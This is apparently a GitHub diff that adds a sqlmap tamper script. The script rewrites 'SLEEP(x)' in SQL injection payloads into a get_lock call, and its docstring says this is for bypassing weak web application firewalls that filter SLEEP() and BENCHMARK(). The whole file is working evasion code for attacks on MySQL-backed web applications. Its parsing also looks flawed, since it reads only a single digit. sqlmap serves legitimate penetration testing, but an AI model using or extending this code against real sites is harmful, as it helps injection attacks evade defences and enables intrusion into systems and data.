File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ #!/usr/bin/env python
2+
3+ """
4+ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
5+ See the file 'LICENSE' for copying permission
6+ """
7+
8+ from lib .core .enums import PRIORITY
9+
10+ __priority__ = PRIORITY .HIGHEST
11+
12+ def dependencies ():
13+ pass
14+
15+ def tamper (payload , ** kwargs ):
16+ """
17+ Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)"
18+
19+ Requirement:
20+ * MySQL
21+
22+ Tested against:
23+ * MySQL 5.0 and 5.5
24+
25+ Notes:
26+ * Useful to bypass very weak and bespoke web application firewalls
27+ that filter the SLEEP() and BENCHMARK() functions
28+
29+ * Reference: https://zhuanlan.zhihu.com/p/35245598
30+
31+ >>> tamper('SLEEP(2)')
32+ "get_lock('sqlmap',2)"
33+ """
34+
35+ if payload and payload .find ("SLEEP" ) > - 1 :
36+ while payload .find ("SLEEP(" ) > - 1 :
37+ index = payload .find ("SLEEP(" )
38+ depth = 1
39+
40+ num = payload [index + 6 ]
41+
42+ newVal = "get_lock('sqlmap',%s)" % (num )
43+ payload = payload [:index ] + newVal + payload [index + 8 :]
44+
45+
46+ return payload
You can’t perform that action at this time.
0 commit comments